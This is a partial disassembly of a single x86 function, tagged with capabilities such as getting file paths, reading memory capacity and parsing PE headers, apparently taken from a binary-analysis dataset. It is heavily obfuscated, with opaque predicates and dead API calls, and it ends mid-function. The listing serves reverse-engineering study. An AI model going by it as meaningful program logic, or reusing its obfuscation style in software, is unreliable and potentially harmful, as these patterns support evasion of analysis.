Function at 0x431b40
Capabilities:
Get common file path
Get memory capacity
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x7fc
push esi
mov dword [ebp - 0x5ec], 3
mov dword [ebp - 0x5e8], 3
mov dword [ebp - 0x5e4], 3
mov dword [ebp - 0x5e0], 3
lea ecx, [ebp - 0x179]
call fcn.00435ae1
push eax
lea eax, [ebp - 0x5dc]
push eax
lea eax, [ebp - 0x5ec]
push eax
lea ecx, [ebp - 0x7dc]
call fcn.00435ae4
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0xfc]
call fcn.00435a90
mov dword [ebp - 0x74], 0xfff9
mov dword [ebp - 0xc8], 1
mov dword [ebp - 0x7c], 0xfffffff9
mov dword [ebp - 0xa8], 3
mov dword [ebp - 0x4e8], 0
mov dword [ebp - 0x138], 0
jmp 0x431bec
mov eax, dword [ebp - 0x138]
inc eax
mov dword [ebp - 0x138], eax
cmp dword [ebp - 0x138], 2
jge 0x431c08
mov eax, dword [ebp - 0x138]
mov dword [ebp + eax*4 - 0x534], 0xc92ea21e
jmp 0x431bdf
push 2
lea ecx, [ebp - 0xfc]
call fcn.00435ad2
cmp dword [eax], 0
je 0x431c6d
push 3
lea ecx, [ebp - 0xfc]
call fcn.00435ad2
cmp dword [eax], 9
jbe 0x431c38
mov dword [ebp - 0x4e4], 1
jmp 0x431c3f
and dword [ebp - 0x4e4], 0
push 3
lea ecx, [ebp - 0xfc]
call fcn.00435ad2
mov esi, eax
push 3
lea ecx, [ebp - 0xfc]
call fcn.00435ad2
mov ecx, dword [esi]
cmp ecx, dword [eax]
jne 0x431c6d
mov dword [ebp - 0x358], 1
jmp 0x431c74
and dword [ebp - 0x358], 0
push 3
lea ecx, [ebp - 0xfc]
call fcn.00435ad2
mov esi, dword [ebp - 0x358]
add esi, dword [eax]
push 0
lea ecx, [ebp - 0xfc]
call fcn.00435ad2
cmp esi, dword [eax]
jge 0x431ca6
mov dword [ebp - 0x48c], 1
jmp 0x431cad
and dword [ebp - 0x48c], 0
push 4
pop eax
imul eax, eax, 0
lea eax, [ebp + eax - 0x534]
mov dword [ebp - 0x470], eax
push 3
lea ecx, [ebp - 0xfc]
call fcn.00435ad2
mov ecx, dword [ebp - 0x470]
mov eax, dword [eax]
mov dword [ecx], eax
mov eax, dword [ebp - 0x470]
mov eax, dword [eax]
cmp eax, dword [ebp - 0x48c]
jl 0x431cf3
mov dword [ebp - 0x488], 1
jmp 0x431cfa
and dword [ebp - 0x488], 0
cmp dword [ebp - 0x488], 0xffff
jae 0x431d22
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x534], 0
je 0x431d22
mov dword [ebp - 0x37c], 1
jmp 0x431d29
and dword [ebp - 0x37c], 0
push 3
lea ecx, [ebp - 0xfc]
call fcn.00435ad2
mov ecx, dword [ebp - 0x37c]
cmp ecx, dword [eax]
jge 0x431d4f
cmp dword [ebp - 0x74], 0
jne 0x431d4f
and dword [ebp - 0x1d4], 0
jmp 0x431d59
mov dword [ebp - 0x1d4], 1
push 1
lea ecx, [ebp - 0xfc]
call fcn.00435ad2
mov ecx, dword [ebp - 0x1d4]
cmp ecx, dword [eax]
jne 0x431d7c
mov dword [ebp - 0x3f8], 1
jmp 0x431d83
and dword [ebp - 0x3f8], 0
cmp dword [ebp - 0x3f8], 0
jg 0x431d98
mov dword [ebp - 0x1dc], 1
jmp 0x431d9f
and dword [ebp - 0x1dc], 0
mov eax, dword [ebp - 0x1dc]
mov dword [ebp - 0xc8], eax
mov esi, dword [ebp - 0xc8]
push 3
lea ecx, [ebp - 0xfc]
call fcn.00435ad2
add esi, dword [eax]
cmp esi, dword [ebp - 0x74]
jle 0x431dd7
cmp dword [ebp - 0x7c], 0
je 0x431dd7
mov dword [ebp - 0x400], 1
jmp 0x431dde
and dword [ebp - 0x400], 0
push 3
lea ecx, [ebp - 0xfc]
call fcn.00435ad2
mov eax, dword [eax]
add eax, dword [ebp - 0x400]
cmp eax, 0xffff
jne 0x431e1e
mov eax, 0x888ad88c
test eax, eax
jne 0x431e1e
push 0
lea ecx, [ebp - 0xfc]
call fcn.00435ad2
cmp dword [eax], 0
jne 0x431e1e
and dword [ebp - 0x1e4], 0
jmp 0x431e28
mov dword [ebp - 0x1e4], 1
mov eax, dword [ebp - 0x1e4]
sub eax, dword [ebp - 0x7c]
je 0x4321f8
mov dword [ebp - 0x428], 0xd7d9c74e
mov dword [ebp - 0x84], 0xfffffff6
mov dword [ebp - 0x114], 0
jmp 0x431e64
mov eax, dword [ebp - 0x114]
inc eax
mov dword [ebp - 0x114], eax
cmp dword [ebp - 0x114], 2
jge 0x431e80
mov eax, dword [ebp - 0x114]
mov dword [ebp + eax*4 - 0x5c4], 0x895210a6
jmp 0x431e57
mov dword [ebp - 0x7c], 0x18
jmp 0x431e90
mov eax, dword [ebp - 0x7c]
dec eax
mov dword [ebp - 0x7c], eax
cmp dword [ebp - 0x7c], 0xffffffff
je 0x432153
mov dword [ebp - 0xec], 4
push 3
lea ecx, [ebp - 0x4d4]
call fcn.004359e4
mov dword [ebp - 0x16c], 0
jmp 0x431eca
mov eax, dword [ebp - 0x16c]
inc eax
mov dword [ebp - 0x16c], eax
cmp dword [ebp - 0x16c], 3
jge 0x431ee9
push dword [ebp - 0x16c]
lea ecx, [ebp - 0x4d4]
call fcn.00435ad2
and dword [eax], 0
jmp 0x431ebd
mov dword [ebp - 0x74], 0
jmp 0x431ef9
mov eax, dword [ebp - 0x74]
inc eax
mov dword [ebp - 0x74], eax
cmp dword [ebp - 0x74], 1
jg 0x431f0f
mov eax, dword [ebp - 0x74]
mov dword [ebp + eax*4 - 0x534], 1
jmp 0x431ef2
cmp dword [ebp - 0x428], 0xfffffff6
jle 0x431f24
mov dword [ebp - 0x408], 1
jmp 0x431f2b
and dword [ebp - 0x408], 0
push 1
lea ecx, [ebp - 0x4d4]
call fcn.00435ad2
mov eax, dword [eax]
cmp eax, dword [ebp - 0x408]
je 0x431f4e
mov dword [ebp - 0x1ec], 1
jmp 0x431f55
and dword [ebp - 0x1ec], 0
push 1
lea ecx, [ebp - 0x4d4]
call fcn.00435ad2
mov eax, dword [eax]
sub eax, dword [ebp - 0x1ec]
cmp eax, 0xffffffff
jle 0x431f84
cmp dword [ebp - 0xa8], 0
jne 0x431f84
mov dword [ebp - 0x410], 1
jmp 0x431f8b
and dword [ebp - 0x410], 0
cmp dword [ebp - 0x410], 0x709c1800
jle 0x431fa3
mov dword [ebp - 0x1f4], 1
jmp 0x431faa
and dword [ebp - 0x1f4], 0
mov eax, dword [ebp - 0x1f4]
mov dword [ebp - 0x84], eax
cmp dword [ebp - 0x84], 0
jne 0x431fd1
mov eax, 0x743aff46
test eax, eax
jne 0x431fd1
and dword [ebp - 0x418], 0
jmp 0x431fdb
mov dword [ebp - 0x418], 1
push 1
lea ecx, [ebp - 0x4d4]
call fcn.00435ad2
mov ecx, dword [ebp - 0x418]
cmp ecx, dword [eax]
jg 0x432041
mov dword [ebp - 0xec], 0xffffffed
jmp 0x43200b
mov eax, dword [ebp - 0xec]
inc eax
mov dword [ebp - 0xec], eax
cmp dword [ebp - 0xec], 0x1b
jg 0x43203c
mov byte [ebp - 0x96], 0
movzx eax, byte [ebp - 0x96]
test eax, eax
je 0x43203a
push 0
push 0x2325
push 0x15af
push 0
call dword [sym.imp.GDI32.dll_SetPaletteEntries]
jmp 0x431ffe
jmp 0x432143
mov dword [ebp - 0xc0], 0
mov eax, dword [ebp - 0xa8]
mov dword [ebp - 0x784], eax
push 1
lea ecx, [ebp - 0x4d4]
call fcn.00435ad2
mov eax, dword [eax]
mov dword [ebp - 0x84], eax
xor eax, eax
inc eax
sub eax, dword [ebp - 0x84]
cmp eax, dword [ebp - 0x84]
jl 0x432089
mov dword [ebp - 0x1fc], 1
jmp 0x432090
and dword [ebp - 0x1fc], 0
mov eax, dword [ebp - 0xc0]
sub eax, dword [ebp - 0x1fc]
cmp eax, dword [ebp - 0xc0]
je 0x4320b0
mov dword [ebp - 0x420], 1
jmp 0x4320b7
and dword [ebp - 0x420], 0
mov eax, 0x332e
sub eax, dword [ebp - 0x420]
mov dword [ebp - 0xa8], eax
mov eax, dword [ebp - 0xc0]
mov dword [ebp - 0x84], eax
cmp dword [ebp - 0xc0], 0
jne 0x4320ea
xor eax, eax
jne 0x4320ea
and dword [ebp - 0x204], 0
jmp 0x4320f4
mov dword [ebp - 0x204], 1
cmp dword [ebp - 0x204], 0
jne 0x432112
cmp dword [ebp - 0xa8], 0
je 0x432112
mov dword [ebp - 0x510], 1
jmp 0x432119
and dword [ebp - 0x510], 0
mov eax, dword [ebp - 0xc0]
mov dword [ebp - 0x708], eax
mov eax, dword [ebp - 0xec]
mov dword [ebp - 0x774], eax
or eax, 0xffffffff
neg eax
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0x5c4], eax
lea ecx, [ebp - 0x4d4]
call fcn.00435ab6
jmp 0x431e89
mov esi, dword [ebp - 0x428]
push 3
lea ecx, [ebp - 0xfc]
call fcn.00435ad2
cmp esi, dword [eax]
jg 0x432176
mov dword [ebp - 0x20c], 1
jmp 0x43217d
and dword [ebp - 0x20c], 0
mov eax, dword [ebp - 0x7c]
mov dword [ebp - 0x710], eax
mov eax, dword [ebp - 0xc8]
mov dword [ebp - 0x770], eax
push 3
lea ecx, [ebp - 0xfc]
call fcn.00435ad2
push 4
pop ecx
shl ecx, 0
mov ecx, dword [ebp + ecx - 0x5c4]
cmp dword [eax], ecx
jge 0x4321bc
mov dword [ebp - 0x430], 1
jmp 0x4321c3
and dword [ebp - 0x430], 0
mov eax, dword [ebp - 0x4e8]
add eax, dword [ebp - 0x20c]
cmp eax, dword [ebp - 0x430]
jl 0x4321e3
mov dword [ebp - 0x214], 1
jmp 0x4321ea
and dword [ebp - 0x214], 0
mov eax, dword [ebp - 0x214]
mov dword [ebp - 0x84], eax
jmp 0x43222b
mov eax, dword [ebp - 0xc8]
mov dword [ebp - 0xa8], eax
mov eax, dword [ebp - 0xa8]
mov dword [ebp - 0xc8], eax
mov byte [ebp - 0x60], 0
movzx eax, byte [ebp - 0x60]
test eax, eax
je 0x43222b
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowPlacement]
lea ecx, [ebp - 0xfc]
call fcn.00435ab6
and dword [ebp - 0x28], 0
push 2
lea ecx, [ebp - 0x4bc]
call fcn.004359e4
push 4
lea ecx, [ebp - 0x658]
call fcn.004359e4
mov dword [ebp - 4], 0
jmp 0x432264
mov eax, dword [ebp - 4]
inc eax
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 3
jge 0x43227a
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0x5a4], 0x4914
jmp 0x43225d
mov dword [ebp - 4], 0
jmp 0x43228a
mov eax, dword [ebp - 4]
inc eax
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 2
jge 0x4322a3
push dword [ebp - 4]
lea ecx, [ebp - 0x4bc]
call fcn.00435ad2
and dword [eax], 0
jmp 0x432283
mov dword [ebp - 4], 0
jmp 0x4322b3
mov eax, dword [ebp - 4]
inc eax
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 4
jge 0x4322cf
push dword [ebp - 4]
lea ecx, [ebp - 0x658]
call fcn.00435ad2
mov dword [eax], 9
jmp 0x4322ac
mov dword [ebp - 4], 0
jmp 0x4322df
mov eax, dword [ebp - 4]
inc eax
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 1
jge 0x4322f5
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0x11c], 0xfa5f9c71
jmp 0x4322d8
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x5a4], 0xffff
ja 0x432314
mov dword [ebp - 0x438], 1
jmp 0x43231b
and dword [ebp - 0x438], 0
cmp dword [ebp - 0x438], 0xffff
je 0x432333
mov dword [ebp - 0x18c], 1
jmp 0x43233a
and dword [ebp - 0x18c], 0
push 0
lea ecx, [ebp - 0x4bc]
call fcn.00435ad2
mov ecx, dword [ebp - 0x18c]
mov dword [eax], ecx
cmp dword [ebp - 0x18c], 0
je 0x4323ec
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x5a4], 0xb9a7
jle 0x43237b
mov dword [ebp - 0x21c], 1
jmp 0x432382
and dword [ebp - 0x21c], 0
push 4
pop eax
shl eax, 0
mov esi, dword [ebp + eax - 0x5a4]
sub esi, dword [ebp - 0x21c]
push 0
lea ecx, [ebp - 0x4bc]
call fcn.00435ad2
sub esi, dword [eax]
je 0x4323c2
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x5a4], 0
je 0x4323c2
mov dword [ebp - 0x440], 1
jmp 0x4323c9
and dword [ebp - 0x440], 0
push 0
lea ecx, [ebp - 0x4bc]
call fcn.00435ad2
mov ecx, dword [ebp - 0x440]
cmp ecx, dword [eax]
jge 0x4323ec
mov dword [ebp - 0x224], 1
jmp 0x4323f3
and dword [ebp - 0x224], 0
push 3
lea ecx, [ebp - 0x658]
call fcn.00435ad2
mov ecx, dword [ebp - 0x224]
mov dword [eax], ecx
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x11c], 0
jmp 0x432436
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x11c]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x11c], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x11c], 0xffffffe9
jge 0x432467
mov dword [ebp - 0x520], 0xecf0
mov esi, dword [ebp - 0x520]
push 1
lea ecx, [ebp - 0x4bc]
call fcn.00435ad2
mov dword [eax], esi
jmp 0x43241b
lea ecx, [ebp - 0x658]
call fcn.00435ab6
lea ecx, [ebp - 0x4bc]
call fcn.00435ab6
mov dword [ebp - 0x14c], 0x110c93b4
mov dword [ebp - 0x14c], 0
jmp 0x4324a0
mov eax, dword [ebp - 0x14c]
inc eax
mov dword [ebp - 0x14c], eax
cmp dword [ebp - 0x14c], 0x1b
jne 0x4324c0
mov dword [ebp - 0x528], 0xfffffff9
cmp dword [ebp - 0x528], 0
je 0x4324be
jmp 0x4324c0
jmp 0x432493
mov byte [ebp - 0x5d], 0
movzx eax, byte [ebp - 0x5d]
test eax, eax
je 0x4324e2
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetWindowOrgEx]
push 1
lea ecx, [ebp - 0x64c]
call fcn.004359e4
mov dword [ebp - 0x574], 0x86e871d9
mov dword [ebp - 0x718], 0
mov dword [ebp - 0x698], 0
mov dword [ebp - 0x688], 0x8067e307
mov dword [ebp - 0x584], 0x9ec4279c
mov dword [ebp - 0x6b4], 0x7b80be39
mov dword [ebp - 0x6bc], 0x751cfd1f
mov dword [ebp - 0x6c4], 0xfffffff9
mov dword [ebp - 0x6cc], 6
mov dword [ebp - 0x564], 0xe6e2bfbd
mov dword [ebp - 0x6d4], 0x9008cf5a
mov dword [ebp - 0x450], 1
mov dword [ebp - 0x6dc], 1
mov dword [ebp - 0x6e4], 1
mov dword [ebp - 0x58c], 1
mov dword [ebp - 0x6ec], 9
mov dword [ebp - 0x6f4], 0xfffffff8
mov dword [ebp - 0x6fc], 0x1de6fc60
mov dword [ebp - 0x1a4], 0
mov dword [ebp - 0x56c], 0
mov dword [ebp - 0x3c], 0
jmp 0x4325c7
mov eax, dword [ebp - 0x3c]
inc eax
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 1
jge 0x4325e3
push dword [ebp - 0x3c]
lea ecx, [ebp - 0x64c]
call fcn.00435ad2
mov dword [eax], 5
jmp 0x4325c0
mov dword [ebp - 0x3c], 0
jmp 0x4325f3
mov eax, dword [ebp - 0x3c]
inc eax
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 3
jge 0x432609
mov eax, dword [ebp - 0x3c]
mov dword [ebp + eax*4 - 0x640], 0xfffffffa
jmp 0x4325ec
mov eax, dword [ebp - 0x1a4]
mov dword [ebp - 0x55c], eax
mov eax, dword [ebp - 0x1a4]
dec eax
mov dword [ebp - 0x1a4], eax
cmp dword [ebp - 0x55c], 0
jne 0x4326d0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x640]
mov dword [ebp - 0x704], eax
mov eax, dword [ebp - 0x564]
sub eax, dword [ebp - 0x56c]
cmp dword [ebp - 0x574], eax
jg 0x432661
mov dword [ebp - 0x57c], 1
jmp 0x432668
and dword [ebp - 0x57c], 0
mov eax, dword [ebp - 0x584]
mov dword [ebp - 0x70c], eax
push 0
lea ecx, [ebp - 0x64c]
call fcn.00435ad2
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x58c]
cmp dword [ebp + eax - 0x640], ecx
jg 0x4326a1
mov dword [ebp - 0x448], 1
jmp 0x4326a8
and dword [ebp - 0x448], 0
cmp dword [ebp - 0x448], 7
jb 0x4326bd
mov dword [ebp - 0x22c], 1
jmp 0x4326c4
and dword [ebp - 0x22c], 0
cmp dword [ebp - 0x22c], 0x1181
jge 0x4326f5
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x640], 0
je 0x4326f5
mov byte [ebp - 0x62], 0
movzx eax, byte [ebp - 0x62]
test eax, eax
je 0x4326f3
push 0
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatus]
jmp 0x432745
mov byte [ebp - 0x8d], 0
movzx eax, byte [ebp - 0x8d]
test eax, eax
je 0x432727
push 0
push 0x2698
push 0x14d5
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetWindowOrgEx]
mov byte [ebp - 0x6e], 0
movzx eax, byte [ebp - 0x6e]
test eax, eax
je 0x432745
push 0x76b
push 0x1563
push 0
call dword [sym.imp.KERNEL32.dll_SetHandleInformation]
mov eax, dword [ebp - 0x450]
mov dword [ebp - 0x450], eax
lea ecx, [ebp - 0x64c]
call fcn.00435ab6
push 3
lea ecx, [ebp - 0x74c]
call fcn.004359e4
push 4
lea ecx, [ebp - 0x4c8]
call fcn.004359e4
mov dword [ebp - 0x23c], 0
mov dword [ebp - 0x714], 0x40194ddb
mov dword [ebp - 0x71c], 1
mov dword [ebp - 0x724], 7
mov dword [ebp - 0x72c], 0xffffffff
mov dword [ebp - 0x458], 0xfffffff6
mov dword [ebp - 0x40], 0
jmp 0x4327c2
mov eax, dword [ebp - 0x40]
inc eax
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 3
jge 0x4327de
push dword [ebp - 0x40]
lea ecx, [ebp - 0x74c]
call fcn.00435ad2
mov dword [eax], 0xe48d
jmp 0x4327bb
mov dword [ebp - 0x40], 0
jmp 0x4327ee
mov eax, dword [ebp - 0x40]
inc eax
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 4
jge 0x43280a
push dword [ebp - 0x40]
lea ecx, [ebp - 0x4c8]
call fcn.00435ad2
mov dword [eax], 1
jmp 0x4327e7
push 1
lea ecx, [ebp - 0x4c8]
call fcn.00435ad2
and dword [eax], 0
jmp 0x432840
push 1
lea ecx, [ebp - 0x4c8]
call fcn.00435ad2
mov dword [ebp - 0x234], eax
mov eax, dword [ebp - 0x234]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0x234]
mov dword [ecx], eax
push 1
lea ecx, [ebp - 0x4c8]
call fcn.00435ad2
cmp dword [eax], 2
jg 0x43287a
mov byte [ebp - 0x64], 0
movzx eax, byte [ebp - 0x64]
test eax, eax
je 0x43286b
push 0x1f74
push 0
call dword [sym.imp.ADVAPI32.dll_InitializeSecurityDescriptor]
mov eax, dword [ebp - 0x458]
inc eax
mov dword [ebp - 0x458], eax
jmp 0x43281c
mov eax, dword [ebp - 0x23c]
mov dword [ebp - 0x734], eax
push 1
lea ecx, [ebp - 0x4c8]
call fcn.00435ad2
mov eax, dword [eax]
mov dword [ebp - 0x23c], eax
lea ecx, [ebp - 0x4c8]
call fcn.00435ab6
lea ecx, [ebp - 0x74c]
call fcn.00435ab6
mov dword [ebp - 0x460], 0xffffffff
mov dword [ebp - 0x550], 0x5984
mov dword [ebp - 0x258], 0x1b870004
push 2
lea ecx, [ebp - 0x670]
call fcn.004359e4
mov dword [ebp - 0x680], 1
mov dword [ebp - 0x67c], 1
mov dword [ebp - 0x678], 1
mov dword [ebp - 0x674], 1
mov dword [ebp - 0x14], 0
jmp 0x432914
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 1
jge 0x432927
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x24], 1
jmp 0x43290d
mov dword [ebp - 0x14], 0
jmp 0x432937
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 2
jge 0x43294a
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x48], 4
jmp 0x432930
mov dword [ebp - 0x14], 0
jmp 0x43295a
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 2
jge 0x432976
push dword [ebp - 0x14]
lea ecx, [ebp - 0x670]
call fcn.00435ad2
mov dword [eax], 0x778e10a3
jmp 0x432953
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x48], 0
jmp 0x43299b
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x48]
inc eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x48], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x48], 0
jg 0x432c9b
mov dword [ebp - 0x508], 3
mov byte [ebp - 0x85], 0
movzx eax, byte [ebp - 0x85]
test eax, eax
je 0x4329e1
push 0x1d9a
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetDeviceCaps]
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x48]
push 4
pop ecx
imul ecx, ecx, 0
mov ecx, dword [ebp + ecx - 0x48]
mov ecx, dword [ebp + ecx*4 - 0x24]
cmp dword [ebp + eax*4 - 0x24], ecx
jle 0x432a0b
mov dword [ebp - 0x268], 1
jmp 0x432a12
and dword [ebp - 0x268], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x48]
mov eax, dword [ebp + eax*4 - 0x24]
mov dword [ebp - 0x460], eax
cmp dword [ebp - 0x460], 0xffffffff
je 0x432a3b
mov dword [ebp - 0x468], 1
jmp 0x432a42
and dword [ebp - 0x468], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x48]
add eax, dword [ebp - 0x468]
push 4
pop ecx
imul ecx, ecx, 0
mov ecx, dword [ebp + ecx - 0x48]
cmp eax, dword [ebp + ecx*4 - 0x24]
jge 0x432a6e
mov dword [ebp - 0x248], 1
jmp 0x432a75
and dword [ebp - 0x248], 0
imul eax, dword [ebp - 0x248], 0x8625
test eax, eax
jne 0x432a95
cmp dword [ebp - 0x550], 0
jne 0x432a95
and dword [ebp - 0x388], 0
jmp 0x432a9f
mov dword [ebp - 0x388], 1
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x48]
cmp dword [ebp - 0x388], eax
jne 0x432abd
mov dword [ebp - 0x250], 1
jmp 0x432ac4
and dword [ebp - 0x250], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x48]
mov eax, dword [ebp + eax*4 - 0x24]
cmp dword [ebp - 0x250], eax
jle 0x432ae6
mov dword [ebp - 0x40c], 1
jmp 0x432aed
and dword [ebp - 0x40c], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x48]
mov eax, dword [ebp + eax*4 - 0x24]
imul eax, dword [ebp - 0x40c]
mov dword [ebp - 0x258], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x48]
mov eax, dword [ebp + eax*4 - 0x24]
cmp eax, dword [ebp - 0x258]
jl 0x432b2a
mov dword [ebp - 0x194], 1
jmp 0x432b31
and dword [ebp - 0x194], 0
push 0
lea ecx, [ebp - 0x670]
call fcn.00435ad2
mov ecx, dword [ebp - 0x194]
mov dword [eax], ecx
cmp dword [ebp - 0x194], 0
je 0x432b5f
xor eax, eax
je 0x432b5f
mov dword [ebp - 0x384], 1
jmp 0x432b66
and dword [ebp - 0x384], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x48]
mov eax, dword [ebp + eax*4 - 0x24]
cmp dword [ebp - 0x384], eax
jne 0x432b88
mov dword [ebp - 0x260], 1
jmp 0x432b8f
and dword [ebp - 0x260], 0
cmp dword [ebp - 0x260], 4
jge 0x432ba4
mov dword [ebp - 0x454], 1
jmp 0x432bab
and dword [ebp - 0x454], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x48]
mov eax, dword [ebp + eax*4 - 0x24]
add eax, dword [ebp - 0x454]
cmp dword [ebp - 0x268], eax
jg 0x432bd3
mov dword [ebp - 0x38c], 1
jmp 0x432bda
and dword [ebp - 0x38c], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x48]
mov ecx, dword [ebp - 0x38c]
sub ecx, dword [ebp + eax*4 - 0x24]
push 4
pop eax
shl eax, 0
cmp ecx, dword [ebp + eax - 0x48]
jl 0x432c06
mov dword [ebp - 0x270], 1
jmp 0x432c0d
and dword [ebp - 0x270], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x680]
cmp dword [ebp - 0x270], eax
jge 0x432c2e
mov dword [ebp - 0x414], 1
jmp 0x432c35
and dword [ebp - 0x414], 0
cmp dword [ebp - 0x414], 0x435e
jne 0x432c4d
mov dword [ebp - 0x278], 1
jmp 0x432c54
and dword [ebp - 0x278], 0
mov eax, dword [ebp - 0x278]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
imul eax, dword [ebp + ecx - 0x24]
test eax, eax
je 0x432c83
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x48], 0
je 0x432c83
mov dword [ebp - 0x394], 1
jmp 0x432c8a
and dword [ebp - 0x394], 0
mov eax, dword [ebp - 0x394]
mov dword [ebp - 0x508], eax
jmp 0x432986
mov byte [ebp - 0x66], 0
movzx eax, byte [ebp - 0x66]
test eax, eax
je 0x432ccf
push 0x115
push 0x2525
push 0x12f6
push 0x198
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_Ellipse]
lea ecx, [ebp - 0x670]
call fcn.00435ab6
mov eax, dword [ebp + 8]
mov dword [ebp - 0x198], eax
push 4
lea ecx, [ebp - 0x1b8]
call fcn.004359e4
mov dword [ebp - 0xd0], 1
mov dword [ebp - 0x280], 1
mov dword [ebp - 0x3a4], 0x7ddbf4d
mov dword [ebp - 0x518], 0x477a14a9
push 3
lea ecx, [ebp - 0x5bc]
call fcn.004359e4
mov dword [ebp - 0x2b8], 0
mov dword [ebp - 0x10], 0
jmp 0x432d3f
mov eax, dword [ebp - 0x10]
inc eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 4
jge 0x432d5b
push dword [ebp - 0x10]
lea ecx, [ebp - 0x1b8]
call fcn.00435ad2
mov dword [eax], 0x7786
jmp 0x432d38
mov dword [ebp - 0x10], 0
jmp 0x432d6b
mov eax, dword [ebp - 0x10]
inc eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 1
jge 0x432d7e
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 8], 0x6960f57a
jmp 0x432d64
mov dword [ebp - 0x10], 0
jmp 0x432d8e
mov eax, dword [ebp - 0x10]
inc eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 3
jge 0x432daa
push dword [ebp - 0x10]
lea ecx, [ebp - 0x5bc]
call fcn.00435ad2
mov dword [eax], 2
jmp 0x432d87
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 8], 3
jmp 0x432dcf
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 8]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 8], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 8], 0
jl 0x433188
mov dword [ebp - 0xb8], 1
mov dword [ebp - 0x124], 0xffffffff
mov dword [ebp - 0x484], 1
mov dword [ebp - 0x4f4], 0xfffffff7
mov dword [ebp - 0xd0], 0x151c3c39
mov eax, dword [ebp - 0xd0]
mov dword [ebp - 0x280], eax
push 4
pop eax
imul eax, eax, 0
push dword [ebp + eax - 8]
lea ecx, [ebp - 0x1b8]
call fcn.00435ad2
cmp dword [eax], 0
jne 0x432fc0
mov esi, dword [ebp - 0x280]
push 4
pop eax
imul eax, eax, 0
push dword [ebp + eax - 8]
lea ecx, [ebp - 0x1b8]
call fcn.00435ad2
cmp esi, dword [eax]
jle 0x432e67
mov dword [ebp - 0x47c], 1
jmp 0x432e6e
and dword [ebp - 0x47c], 0
push 4
pop eax
imul eax, eax, 0
push dword [ebp + eax - 8]
lea ecx, [ebp - 0x1b8]
call fcn.00435ad2
mov ecx, dword [ebp - 0x47c]
cmp ecx, dword [eax]
jl 0x432e99
mov dword [ebp - 0x288], 1
jmp 0x432ea0
and dword [ebp - 0x288], 0
mov eax, dword [ebp - 0x288]
